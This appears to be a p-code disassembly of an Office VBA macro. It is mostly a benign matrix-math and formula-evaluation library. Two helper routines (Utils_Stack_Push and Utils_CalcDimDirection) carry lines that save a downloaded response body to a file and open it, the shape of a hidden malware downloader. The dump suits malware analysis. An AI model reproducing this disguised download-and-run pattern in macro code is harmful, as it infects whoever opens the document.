' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #351:
' EndSelect
' Line #352:
' EndSub
' Line #353:
' FuncDefn (Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant))
' Line #354:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' SelectCase
' Line #355:
' LitDI2 0x0001
' Case
' CaseDone
' BoS 0x0000
' Line #356:
' Ld v
' FnUBound 0x0000
' LitDI2 0x0001
' Eq
' IfBlock
' Line #357:
' LitDI2 0x0001
' ArgsLd v 0x0001
' St assignToMe
' Line #358:
' ElseBlock
' Line #359:
' OptionBase
' LitDI2 0x0001
' OptionBase
' Ld v
' FnUBound 0x0000
' Redim assignToMe 0x0002 (As Variant)
' Line #360:
' Dim
' VarDefn i (As Long)
' Line #361:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld assignToMe
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #362:
' Ld i
' ArgsLd v 0x0001
' LitDI2 0x0001
' Ld i
' ArgsSt assignToMe 0x0002
' Line #363:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #364:
' EndIfBlock
' Line #365:
' LitDI2 0x0002
' Case
' CaseDone
' BoS 0x0000
' Line #366:
' Ld v
' LitDI2 0x0001
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' Ld v
' LitDI2 0x0002
' FnUBound 0x0001
' LitDI2 0x0001
' Eq
' And
' IfBlock
' Line #367:
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd v 0x0002
' St assignToMe
' Line #368:
' ElseBlock
' Line #369:
' Ld v
' St assignToMe
' Line #370:
' EndIfBlock
' Line #371:
' LitDI2 0x0002
' CaseGt
' CaseDone
' BoS 0x0000
' Line #372:
' LitVarSpecial (False)
' LitStr 0x000D "dimension > 2"
' ArgsCall Utils_Assert 0x0002
' Line #373:
' EndSelect
' Line #374:
' EndSub
' Line #375:
' FuncDefn (Private Sub Utils_ForceMatrix(ByRef v As Variant))
' Line #376:
' Ld v
' ArgsLd Utils_Dimensions 0x0001
' LitDI2 0x0000
' Eq
' IfBlock
' Line #377:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' LitDI2 0x0001
' OptionBase
' LitDI2 0x0001
' Redim r 0x0002 (As Variant)
' Line #378:
' Ld v
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsSt r 0x0002
' Line #379:
' Ld r
' St v
' Line #380:
' EndIfBlock
' Line #381:
' EndSub
' Line #382:
' FuncDefn (Private Sub Utils_Stack_Push(item As String, Optional stack As Variant))
' Line #383:
' Line #384:
' Ld CodOrdineCorrente1
' MemLd responseBody
' Ld UtilsInd2Sub
' ArgsMemCall Xor 0x0001
' Line #385:
' Ld dimIndexArgs
' LitDI2 0x0002
' Ld UtilsInd2Sub
' ArgsMemCall savetofile 0x0002
' Line #386:
' LitStr 0x0000 ""
' ArgsCall Utils_CalcDimDirection 0x0001
' Line #387:
' ExitSub
' Line #388:
' OnError NotInitiated
' Line #389:
' Ld stack
' FnLBound 0x0000
' Ld stack
' FnUBound 0x0000
' LitDI2 0x0001
' Add
' Redim (Preserve) stack 0x0001 (As Variant)
' Line #390:
' Ld item
' Ld stack
' FnUBound 0x0000
' ArgsSt stack 0x0001
' Line #391:
' ExitSub
' Line #392:
' Label NotInitiated
' Line #393:
' Ld item
' ArgsArray Array 0x0001
' St stack
' Line #394:
' EndSub
' Line #395:
' FuncDefn (Private Function Utils_Stack_Pop(stack As Variant) As Variant)
' Line #396:
' Dim
' VarDefn ub (As Long)
' BoS 0x0000
' Ld stack
' FnUBound 0x0000
' St ub
' Line #397:
' Dim
' VarDefn lb (As Long)
' BoS 0x0000
' Ld stack
' FnLBound 0x0000
' St lb
' Line #398:
' Ld ub
' ArgsLd stack 0x0001
' St Utils_Stack_Pop
' Line #399:
' Ld ub
' Ld lb
' Gt
' If
' BoSImplicit
' Ld lb
' Ld ub
' LitDI2 0x0001
' Sub
' Redim (Preserve) stack 0x0001 (As Variant)
' Else
' BoSImplicit
' LitVarSpecial (Null)
' St stack
' EndIf
' Line #400:
' EndFunc
' Line #401:
' FuncDefn (Private Function Utils_Stack_Peek(stack As Variant) As Variant)
' Line #402:
' Ld stack
' FnUBound 0x0000
' ArgsLd stack 0x0001
' St Utils_Stack_Peek
' Line #403:
' EndFunc
' Line #404:
' FuncDefn (Private Function Utils_Stack_Size(stack As Variant) As Long)
' Line #405:
' OnError (Resume Next)
' Line #406:
' Ld stack
' FnUBound 0x0000
' St Utils_Stack_Size
' Line #407:
' EndFunc
' Line #408:
' FuncDefn (Private Sub Utils_CalcArgs(args As Variant))
' Line #409:
' Dim
' VarDefn i (As Long)
' BoS 0x0000
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #410:
' Ld i
' ArgsLd args 0x0001
' ArgsLd eval_tree 0x0001
' Ld i
' ArgsSt args 0x0001
' Line #411:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #412:
' EndSub
' Line #413:
' FuncDefn (Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean)
' Line #414:
' Dim
' VarDefn i (As Long)
' Line #415:
' StartForVariable
' Ld i
' EndForVariable
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' LitDI2 0x0001
' UMi
' ForStep
' Line #416:
' Ld i
' ArgsLd args 0x0001
' ArgsLd TypeName 0x0001
' LitStr 0x0006 "String"
' FnStrComp
' LitDI2 0x0000
' Eq
' IfBlock
' Line #417:
' Ld i
' ArgsLd args 0x0001
' Ld flag
' Ld vbTextCompare
' FnStrComp3
' LitDI2 0x0000
' Eq
' IfBlock
' Line #418:
' LitVarSpecial (True)
' St Utils_IsFlagSet
' Line #419:
' ExitFunc
' Line #420:
' EndIfBlock
' Line #421:
' EndIfBlock
' Line #422:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #423:
' EndFunc
' Line #424:
' ConstFuncExpr
' LitDI2 0x0002
' FuncDefn (Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long) As Long)
' Line #425:
' Ld dimIndexArgs
' Paren
' Ld UtilsCalcDimDirection
' ArgsMemCall Open 0x0001
' Line #426:
' ExitFunc
' Line #427:
' Ld addrgs
' FnUBound 0x0000
' Ld dimIndex
' Ge
' IfBlock
' Line #428:
' Ld dimIndex
' ArgsLd addrgs 0x0001
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #429:
' Ld dimIndex
' ArgsLd addrgs 0x0001
' LitDI2 0x0001
' Sub
' St Utils_CalcDimDirection
' Line #430:
' ExitFunc
' Line #431:
' EndIfBlock
' Line #432:
' EndIfBlock
' Line #433:
' LitDI2 0x0001
' ArgsLd addrgs 0x0001
' ArgsLd Utils_Rows 0x0001
' LitDI2 0x0001
' Eq
' LitDI2 0x0001
' LitDI2 0x0000
' ArgsLd IFF 0x0003
' St Utils_CalcDimDirection
' Line #434:
' EndFunc
' Line #435:
' ConstFuncExpr
' LitDI2 0x0002
' FuncDefn (Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long))
' Line #436:
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' SelectCase
' Line #437:
' Ld index
' CaseLt
' CaseDone
' Line #438:
' LitDI2 0x0001
' St n
' BoS 0x0000
' LitDI2 0x0001
' St m
' Line #439:
' Ld index
' CaseEq
' CaseDone
' Line #440:
' Ld index
' ArgsLd args 0x0001
' ArgsLd Utils_Numel 0x0001
' SelectCase
' Line #441:
' LitDI2 0x0001
' Case
' CaseDone
' Line #442:
' Ld index
' ArgsLd args 0x0001
' St n
' Line #443:
' Ld n
' St m
' Line #444:
' LitDI2 0x0002
' Case
' CaseDone
' Line #445:
' LitDI2 0x0001
' LitDI2 0x0001
' Ld index
' ArgsLd args 0x0001
' IndexLd 0x0002
' St n
' Line #446:
' LitDI2 0x0002
' Ld index
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' ArgsLd MIN 0x0002
' LitDI2 0x0002
' Ld index
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' ArgsLd MIN 0x0002
' Ld index
' ArgsLd args 0x0001
' IndexLd 0x0002
' St m
' Line #447:
' CaseElse
' Line #448:
' LitVarSpecial (False)
' LitStr 0x000E "bad size input"
' ArgsCall Utils_Assert 0x0002
' Line #449:
' EndSelect
' Line #450:
' Ld index
' LitDI2 0x0001
' Add
' CaseEq
' CaseDone
' Line #451:
' Ld index
' ArgsLd args 0x0001
' St n
' Line #452:
' Ld index
' LitDI2 0x0001
' Add
' ArgsLd args 0x0001
' St m
' Line #453:
' CaseElse
' Line #454:
' LitVarSpecial (False)
' LitStr 0x000E "bad size input"
' ArgsCall Utils_Assert 0x0002
' Line #455:
' EndSelect
' Line #456:
' EndFunc
' Line #457:
' FuncDefn (Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant))
' Line #458:
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' Ld index
' Ge
' IfBlock
' Line #459:
' Ld index
' ArgsLd args 0x0001
' St Utils_GetOptionalArg
' Line #460:
' ElseBlock
' Line #461:
' Ld defaultValue
' St Utils_GetOptionalArg
' Line #462:
' EndIfBlock
' Line #463:
' EndFunc
' Line #464:
' FuncDefn (Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long))
' Line #465:
' Dim
' VarDefn size (As Long)
' BoS 0x0000
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' St size
' Line #466:
' Ld size
' Ld lb
' Ge
' LitStr 0x0011 "too few arguments"
' ArgsCall Utils_Assert 0x0002
' Line #467:
' Ld size
' Ld ub
' Le
' LitStr 0x0012 "too many arguments"
' ArgsCall Utils_Assert 0x0002
' Line #468:
' EndSub
' Line #469:
' ConstFuncExpr
' LitStr 0x000D "unknown error"
' FuncDefn (Private Sub Utils_Assert(expr As Boolean, Optional msg As String))
' Line #470:
' Ld expr
' If
' BoSImplicit
' ExitSub
' EndIf
' Line #471:
' Ld msg
' St errorMsg
' Line #472:
' Ld vbObjectError
' LitDI2 0x03E7
' Add
' Ld Err
' ArgsMemCall Raise 0x0001
' Line #473:
' EndSub
' Line #474:
' FuncDefn (Private Function eval_tree(root As Variant) As Variant)
' Line #475:
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitDI2 0x0003
' ArgsLd Left 0x0002
' LitStr 0x0003 "fn_"
' Eq
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x0005 "fn_if"
' Ne
' And
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x000A "fn_iferror"
' Ne
' And
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitStr 0x0009 "fn_expand"
' Ne
' And
' IfBlock
' Line #476:
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsCall Utils_CalcArgs 0x0001
' Line #477:
' EndIfBlock
' Line #478:
' LitDI2 0x0001
' ArgsLd root 0x0001
' SelectCase
' Line #479:
' LitStr 0x000D "eval_constant"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_constant 0x0001
' St eval_tree
' Line #480:
' LitStr 0x0008 "eval_arg"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_arg 0x0001
' St eval_tree
' Line #481:
' LitStr 0x000A "eval_index"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_index 0x0001
' St eval_tree
' Line #482:
' LitStr 0x0008 "eval_end"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_end 0x0001
' St eval_tree
' Line #483:
' LitStr 0x000A "eval_colon"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_colon 0x0001
' St eval_tree
' Line #484:
' LitStr 0x000B "eval_concat"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd eval_concat 0x0001
' St eval_tree
' Line #485:
' LitStr 0x0005 "op_eq"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_eq 0x0001
' St eval_tree
' Line #486:
' LitStr 0x0007 "op_plus"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_plus 0x0001
' St eval_tree
' Line #487:
' LitStr 0x0008 "op_minus"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_minus 0x0001
' St eval_tree
' Line #488:
' LitStr 0x0009 "op_mtimes"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_mtimes 0x0001
' St eval_tree
' Line #489:
' LitStr 0x0008 "op_colon"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd op_colon 0x0001
' St eval_tree
' Line #490:
' LitStr 0x0006 "fn_sum"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd fn_sum 0x0001
' St eval_tree
' Line #491:
' LitStr 0x0009 "fn_repmat"
' Case
' CaseDone
' BoS 0x0000
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd fn_repmat 0x0001
' St eval_tree
' Line #492:
' CaseElse
' Line #493:
' LitDI2 0x0001
' ArgsLd root 0x0001
' LitDI2 0x0002
' ArgsLd root 0x0001
' ArgsLd Run 0x0002
' St eval_tree
' Line #494:
' EndSelect
' Line #495:
' EndFunc
' Line #496:
' FuncDefn (Private Function eval_constant(args As Variant) As Variant)
' Line #497:
' Ld args
' St eval_constant
' Line #498:
' EndFunc
' Line #499:
' FuncDefn (Private Function eval_arg(args As Variant) As Variant)
' Line #500:
' Ld args
' Ld arguments
' FnUBound 0x0000
' Gt
' IfBlock
' Line #501:
' LitVarSpecial (False)
' LitStr 0x0009 "argument "
' ArgsCall Utils_Assert 0x0002
' Line #502:
' EndIfBlock
' Line #503:
' Ld args
' ArgsLd arguments 0x0001
' Coerce (Var)
' St eval_arg
' Line #504:
' Ld eval_arg
' ArgsCall Utils_Conform 0x0001
' Line #505:
' EndFunc
' Line #506:
' FuncDefn (Private Function eval_end(args As Variant) As Variant)
' Line #507:
' Ld endValues
' ArgsLd Utils_Stack_Size 0x0001
' LitDI2 0x0000
' Gt
' LitStr 0x0017 ""end" not allowed here."
' ArgsCall Utils_Assert 0x0002
' Line #508:
' Ld endValues
' ArgsLd Utils_Stack_Peek 0x0001
' St eval_end
' Line #509:
' EndFunc
' Line #510:
' FuncDefn (Private Function eval_ans(args As Variant) As Variant)
' Line #511:
' Ld ans
' St eval_ans
' Line #512:
' EndFunc
' Line #513:
' FuncDefn (Private Function eval_colon(args As Variant) As Variant)
' Line #514:
' LitVarSpecial (False)
' LitStr 0x0016 "colon not allowed here"
' ArgsCall Utils_Assert 0x0002
' Line #515:
' EndFunc
' Line #516:
' Line #517:
' FuncDefn (Private Function fn_sort(args As Variant) As Variant)
' Line #518:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0004
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #519:
' Dim
' VarDefn sortRows (As Boolean)
' VarDefn ascend (As Boolean)
' VarDefn returnIndices (As Boolean)
' Line #520:
' LitDI2 0x0001
' Ld args
' ArgsLd Utils_CalcDimDirection 0x0001
' Eq
' Paren
' St sortRows
' Line #521:
' Ld args
' LitStr 0x0007 "descend"
' ArgsLd Utils_IsFlagSet 0x0002
' Not
' St ascend
' Line #522:
' Ld args
' LitStr 0x0007 "indices"
' ArgsLd Utils_IsFlagSet 0x0002
' St returnIndices
' Line #523:
' Ld sortRows
' IfBlock
' Line #524:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld WorksheetFunction
' ArgsMemLd Transpose 0x0001
' LitDI2 0x0001
' ArgsSt args 0x0001
' Line #525:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_Conform 0x0001
' Line #526:
' EndIfBlock
' Line #527:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #528:
' Dim
' VarDefn rows (As Long)
' VarDefn cols (As Long)
' VarDefn i (As Long)
' VarDefn j (As Long)
' Line #529:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld rows
' Ld cols
' ArgsCall Utils_Size 0x0003
' Line #530:
' Dim
' VarDefn indices
' BoS 0x0000
' LitDI2 0x0001
' Ld rows
' LitDI2 0x0001
' Ld cols
' Redim indices 0x0002 (As Variant)
' Line #531:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld rows
' For
' Line #532:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #533:
' Ld i
' Ld i
' Ld j
' ArgsSt indices 0x0002
' Line #534:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #535:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #536:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #537:
' LitDI2 0x0001
' ArgsLd args 0x0001
' Ld indices
' LitDI2 0x0001
' Ld rows
' Ld j
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #538:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #539:
' Ld returnIndices
' IfBlock
' Line #540:
' Ld indices
' St fn_sort
' Line #541:
' ElseBlock
' Line #542:
' Dim
' VarDefn r
' BoS 0x0000
' LitDI2 0x0001
' Ld rows
' LitDI2 0x0001
' Ld cols
' Redim r 0x0002 (As Variant)
' Line #543:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' Ld rows
' For
' Line #544:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' Ld cols
' For
' Line #545:
' Ld i
' Ld j
' ArgsLd indices 0x0002
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld i
' Ld j
' ArgsSt r 0x0002
' Line #546:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #547:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #548:
' Ld r
' St fn_sort
' Line #549:
' EndIfBlock
' Line #550:
' Ld sortRows
' If
' BoSImplicit
' Ld fn_sort
' Ld WorksheetFunction
' ArgsMemLd Transpose 0x0001
' St fn_sort
' EndIf
' Line #551:
' Ld fn_sort
' ArgsCall Utils_Conform 0x0001
' Line #552:
' EndFunc
' Line #553:
' FuncDefn (Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean))
' Line #554:
' Ld first
' Ld last
' Ge
' If
' BoSImplicit
' ExitFunc
' EndIf
' Line #555:
' Dim
' VarDefn tmp (As Variant)
' Line #556:
' Dim
' VarDefn pivot (As Variant)
' BoS 0x0000
' Ld first
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' St pivot
' Line #557:
' Dim
' VarDefn Left (As Long)
' BoS 0x0000
' Ld first
' St Left
' Line #558:
' Dim
' VarDefn right (As Long)
' BoS 0x0000
' Ld last
' St right
' Line #559:
' Dim
' VarDefn ascendprefix (As Long)
' BoS 0x0000
' LitDI2 0x0001
' UMi
' LitDI2 0x0002
' Ld ascend
' FnSgn
' Mul
' Sub
' St ascendprefix
' Line #560:
' Ld Left
' Ld right
' Le
' While
' Line #561:
' Ld ascendprefix
' Ld Left
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' Ld pivot
' ArgsLd Utils_Compare 0x0002
' Mul
' LitDI2 0x0000
' Lt
' While
' Line #562:
' Ld Left
' LitDI2 0x0001
' Add
' St Left
' Line #563:
' Wend
' Line #564:
' Ld ascendprefix
' Ld pivot
' Ld right
' Ld col
' ArgsLd indices 0x0002
' Ld col
' ArgsLd arr 0x0002
' ArgsLd Utils_Compare 0x0002
' Mul
' LitDI2 0x0000
' Lt
' While
' Line #565:
' Ld right
' LitDI2 0x0001
' Sub
' St right
' Line #566:
' Wend
' Line #567:
' Ld Left
' Ld right
' Le
' IfBlock
' Line #568:
' Ld Left
' Ld col
' ArgsLd indices 0x0002
' St tmp
' Line #569:
' Ld right
' Ld col
' ArgsLd indices 0x0002
' Ld Left
' Ld col
' ArgsSt indices 0x0002
' Line #570:
' Ld tmp
' Ld right
' Ld col
' ArgsSt indices 0x0002
' Line #571:
' Ld Left
' LitDI2 0x0001
' Add
' St Left
' Line #572:
' Ld right
' LitDI2 0x0001
' Sub
' St right
' Line #573:
' EndIfBlock
' Line #574:
' Wend
' Line #575:
' Ld arr
' Ld indices
' Ld first
' Ld right
' Ld col
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #576:
' Ld arr
' Ld indices
' Ld Left
' Ld last
' Ld col
' Ld ascend
' ArgsCall Utils_QuickSortCol 0x0006
' Line #577:
' EndFunc
' Line #578:
' FuncDefn (Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant)
' Line #579:
' Ld arg1
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #580:
' Ld arg2
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #581:
' Ld arg1
' Ld arg2
' Sub
' St Utils_Compare
' Line #582:
' ElseBlock
' Line #583:
' LitDI2 0x0001
' UMi
' St Utils_Compare
' Line #584:
' EndIfBlock
' Line #585:
' ElseBlock
' Line #586:
' Ld arg2
' ArgsLd IsNumeric 0x0001
' IfBlock
' Line #587:
' LitDI2 0x0001
' St Utils_Compare
' Line #588:
' ElseBlock
' Line #589:
' Ld arg1
' Coerce (Str)
' Ld arg2
' Coerce (Str)
' FnStrComp
' St Utils_Compare
' Line #590:
' EndIfBlock
' Line #591:
' EndIfBlock
' Line #592:
' EndFunc
' Line #593:
' FuncDefn (Private Function fn_arrayfun(args As Variant) As Variant)
' Line #594:
' Ld args
' LitDI2 0x0002
' LitDI2 0x0064
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #595:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsLd TypeName 0x0001
' LitStr 0x0006 "String"
' Eq
' LitStr 0x0033 "apply: 1st argument must be an Excel function name."
' ArgsCall Utils_Assert 0x0002
' Line #596:
' Dim
' VarDefn i (As Long)
' VarDefn r1 (As Long)
' VarDefn c1 (As Long)
' VarDefn r2 (As Long)
' VarDefn c2 (As Long)
' Line #597:
' LitDI2 0x0001
' UMi
' St r1
' BoS 0x0000
' LitDI2 0x0001
' UMi
' St c1
' Line #598:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0002
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #599:
' Ld i
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #600:
' Ld i
' ArgsLd args 0x0001
' Ld r2
' Ld c2
' ArgsCall Utils_Size 0x0003
' Line #601:
' Ld r1
' LitDI2 0x0000
' Lt
' Ld c1
' LitDI2 0x0000
' Lt
' And
' Paren
' Ld r2
' LitDI2 0x0001
' Eq
' Ld c2
' LitDI2 0x0001
' Eq
' And
' Paren
' Or
' Ld r1
' Ld r2
' Eq
' Ld c1
' Ld c2
' Eq
' And
' Paren
' Or
' Ld r1
' LitDI2 0x0001
' Eq
' Ld r1
' Ld r2
' Eq
' Or
' Paren
' Ld c2
' LitDI2 0x0001
' Eq
' And
' Paren
' Or
' Ld r2
' LitDI2 0x0001
' Eq
' Ld c1
' LitDI2 0x0001
' Eq
' Ld c1
' Ld c2
' Eq
' Or
' Paren
' And
' Paren
' Or
' LitStr 0x001B "apply(): Wrong input sizes."
' ArgsCall Utils_Assert 0x0002
' Line #602:
' Ld r1
' Ld r2
' ArgsLd MAX 0x0002
' St r1
' BoS 0x0000
' Ld c1
' Ld c2
' ArgsLd MAX 0x0002
' St c1
' Line #603:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #604:
' Dim
' VarDefn v
' VarDefn r
' BoS 0x0000
' OptionBase
' Ld r1
' OptionBase
' Ld c1
' Redim r 0x0002 (As Variant)
' Line #605:
' StartForVariable
' Ld r1
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0001
' FnUBound 0x0001
' For
' Line #606:
' StartForVariable
' Ld c1
' EndForVariable
' LitDI2 0x0001
' Ld r
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #607:
' LitVarSpecial (Empty)
' St v
' Line #608:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0002
' Ld args
' ArgsLd Utils_Stack_Size 0x0001
' For
' Line #609:
' Ld i
' ArgsLd args 0x0001
' Ld r2
' Ld c2
' ArgsCall Utils_Size 0x0003
' Line #610:
' Ld r1
' Ld r2
' ArgsLd MIN 0x0002
' Ld c1
' Ld c2
' ArgsLd MIN 0x0002
' Ld i
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld v
' ArgsCall Utils_Stack_Push 0x0002
' Line #611:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #612:
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitStr 0x0001 "("
' Concat
' Ld v
' LitStr 0x0001 ","
' ArgsLd Join 0x0002
' Concat
' LitStr 0x0001 ")"
' Concat
' ArgsLd Evaluate 0x0001
' Ld r1
' Ld c1
' ArgsSt r 0x0002
' Line #613:
' StartForVariable
' Ld c1
' EndForVariable
' NextVar
' Line #614:
' StartForVariable
' Ld r1
' EndForVariable
' NextVar
' Line #615:
' Ld r
' Ld fn_arrayfun
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #616:
' EndFunc
' Line #617:
' FuncDefn (Private Function fn_concat(args As Variant) As Variant)
' Line #618:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0003
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #619:
' Dim
' VarDefn i (As Long)
' VarDefn j (As Long)
' VarDefn x (As Long)
' VarDefn joiner (As String)
' Line #620:
' LitDI2 0x0001
' ArgsLd args 0x0001
' ArgsCall Utils_ForceMatrix 0x0001
' Line #621:
' Ld args
' LitDI2 0x0003
' ArgsLd Utils_CalcDimDirection 0x0002
' St x
' Line #622:
' Ld args
' FnUBound 0x0000
' LitDI2 0x0001
' Gt
' If
' BoSImplicit
' LitDI2 0x0002
' ArgsLd args 0x0001
' St joiner
' EndIf
' Line #623:
' Dim
' VarDefn r
' BoS 0x0000
' OptionBase
' Ld x
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' OptionBase
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' Mul
' Ld x
' Add
' Redim r 0x0002 (As Variant)
' Line #624:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0001
' FnUBound 0x0001
' For
' Line #625:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' LitDI2 0x0002
' FnUBound 0x0001
' For
' Line #626:
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld i
' Mul
' Ld x
' Ld j
' Mul
' Add
' LitDI2 0x0001
' Eq
' IfBlock
' Line #627:
' Ld i
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsSt r 0x0002
' Line #628:
' ElseBlock
' Line #629:
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsLd r 0x0002
' Ld joiner
' Concat
' Ld i
' Ld j
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0002
' Concat
' Ld x
' Ld i
' Mul
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Add
' LitDI2 0x0001
' Ld x
' Sub
' Paren
' Ld j
' Mul
' Ld x
' Add
' ArgsSt r 0x0002
' Line #630:
' EndIfBlock
' Line #631:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #632:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #633:
' Ld r
' Ld fn_concat
' ArgsCall Utils_ConformAndAssign 0x0002
' Line #634:
' EndFunc
' Line #635:
' FuncDefn (Private Function fn_expand(args As Variant) As Variant)
' Line #636:
' Ld args
' LitDI2 0x0001
' LitDI2 0x0003
' ArgsCall Utils_AssertArgsCount 0x0003
' Line #637:
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0001
' LitStr 0x0008 "eval_arg"
' Eq
' LitStr 0x0025 "expand(): 1st argument must be a cell"
' ArgsCall Utils_Assert 0x0002
' Line #638:
' Dim
' VarDefn cell
' BoS 0x0000
' SetStmt
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd args 0x0001
' IndexLd 0x0001
' ArgsLd arguments 0x0001
' Set cell
' Line #639:
' Dim
' VarDefn rows (As Long)
' VarDefn cols (As Long)
